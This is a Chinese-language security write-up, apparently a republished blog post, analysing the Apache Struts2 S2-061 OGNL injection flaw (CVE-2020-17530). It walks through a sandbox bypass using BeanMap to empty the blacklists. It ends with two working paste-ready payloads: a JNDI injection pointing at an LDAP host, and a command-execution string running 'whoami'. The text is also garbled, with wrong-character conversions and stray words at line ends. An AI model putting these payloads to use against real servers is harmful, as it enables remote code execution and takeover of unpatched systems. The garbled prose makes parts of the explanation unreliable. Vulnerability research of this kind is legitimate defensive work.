簡介
Apache Struts2框架是一個用於開發Java EE網絡應用程序的Web框架。Apache Struts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530),在使用某些tag等狀況下可能存在OGNL表達式注入漏洞,從而形成遠程代碼執行,風險極大java
分析
第一次比較認真的接觸Ognl語言,下面分析一下Poc過程 環境使用vulhub的s2-059環境便可。可是須要修改一下,在pom中新增一個依賴web
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
已知Ongl沙盒的限制以下apache
-
沒法new一個對象 -
沒法調用黑名單類和包的方法、屬性 -
沒法調用靜態方法 -
沒法直接執行命令 -
沒法調用方法屬性非public的方法
ognl沒有限制的操做json
-
對象屬性 setter/getter(public) 賦/取值,能夠訪問靜態屬性。 -
已實例類的方法調用( OgnlContext 中的對象),不容許調用靜態方法
idea中能夠經過ActionContext.actionContext.get()去獲取ognl的context,方便咱們調試。tomcat
2.1 繞過new建立對象
在context的application中,org.apache.tomcat.SimpleInstanceManager的實例代碼以下,能夠實例化一個無參構造函數。安全
@Override
public Object newInstance(String className) throws IllegalAccessException,
InvocationTargetException, NamingException, InstantiationException,
ClassNotFoundException, NoSuchMethodException {
Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass(className);
return prepareInstance(clazz.getConstructor().newInstance());
}
2.2 獲取ognl context
由於ognl的securityMemberAccess中,存放黑名單,咱們須要將黑名單置空,以達到任意調用類的目的。微信
咱們能夠看一下org.apache.commons.collections.BeanMap 這個類。這個類存在無參公開的構造方法,能夠被上一步繞過限制建立對象使用。網絡
該類將任意對象轉換爲相似bean的操做,經過get/set 操做去調用對象的getxxx函數,setxxx函數。app
public Object get(Object name) {
if ( bean != null ) {
Method method = getReadMethod( name );
return method.invoke( bean, NULL_ARGUMENTS );
而ognl的stackValue對象,剛好存在getContext方法,而stackValue咱們也能夠在context中訪問框架
BeanMap b = new BeanMap();
b.setBean(ActionContext.actionContext.get().getValueStack());
BeanMap c = new BeanMap();
c.setBean(b.get("context"));
2.3 清空黑名單
同理,咱們能夠經過beanMap去調用如下方法以置空黑名單
public void setExcludeProperties(Set<Pattern> excludeProperties) {
this.excludeProperties = excludeProperties;
}
public void setAcceptProperties(Set<Pattern> acceptedProperties) {
this.acceptProperties = acceptedProperties;
}
public void setExcludedClasses(Set<Class<?>> excludedClasses) {
this.excludedClasses = excludedClasses;
}
#beanMap.put('excludedClasses',#{})
2.4 利用
ognl中,默認已經沒法直接調用諸如Runtime等方法去執行命令,代碼以下
AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) )
可是,被實例化的類中調用上面的危險操做,並不受影響。
既然上一步咱們已經置空黑名單,因而能夠去找即存在無參構造函數,又能夠命令執行的類。
public class Execute implements TemplateMethodModel {
private static final int OUTPUT_BUFFER_SIZE = 1024;
public Execute() {
}
public Object exec(List arguments) throws TemplateModelException {
StringBuilder aOutputBuffer = new StringBuilder();
String aExecute = (String)((String)arguments.get(0));
Process exec = Runtime.getRuntime().exec(aExecute);
InputStream execOut = exec.getInputStream();
Poc
這個洞沒那麼嚴重,其實就是s2-059繞過,你們別想多
發散思惟一下,這個beanMap相似於fastjson的命令執行。因此也能夠構造一個jndi注入嘛 com.sun.rowset.JdbcRowSetImpl 也存在無參構造方法 DatasourceName也能夠經過beamMap去操做
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
最後經過getAutoCommit觸發jndi注入
public boolean getAutoCommit() throws SQLException {
return this.conn.getAutoCommit();
}
jndi payload
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeSec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setDataSourceName('ldap://192.168.3.254:10086/UnicodeSec')).(#rw.getDatabaseMetaData())}
命令執行payload
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'whoami'}).(#res=#exec.exec(#cmd))}
禁止非法,後果自負
歡迎關注公衆號:web安全工具庫
本文分享自微信公衆號 - web安全工具庫(websec-tools)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。